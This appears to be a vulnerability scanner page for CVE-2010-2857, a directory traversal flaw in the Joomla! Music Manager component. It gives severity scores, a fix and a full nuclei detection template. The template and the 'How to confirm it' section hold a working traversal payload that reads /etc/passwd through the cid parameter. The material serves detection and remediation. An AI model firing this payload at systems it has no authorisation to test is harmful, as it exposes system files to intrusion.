Joomla! Component Music Manager - Local File Inclusion

mediumseverity

6.8CVSS score

4.8%likelihood of exploitation, next 30 days

92%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in the Music Manager component for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the cid parameter to album.html.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access, sensitive data exposure, and remote code execution.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/component/music/album.html?cid=../../../../../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-2857 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-2857

info:
  name: Joomla! Component Music Manager - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Music Manager component for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the cid parameter to album.html.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, sensitive data exposure, and remote code execution.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/14274
    - https://nvd.nist.gov/vuln/detail/CVE-2010-2857
    - http://www.exploit-db.com/exploits/14274
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/60195
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2010-2857
    cwe-id: CWE-22
    epss-score: 0.04848
    epss-percentile: 0.92094
    cpe: cpe:2.3:a:danieljamesscott:com_music:0.1:-:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: danieljamesscott
    product: com_music
  tags: cve,cve2010,joomla,lfi,edb,danieljamesscott,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/component/music/album.html?cid=../../../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

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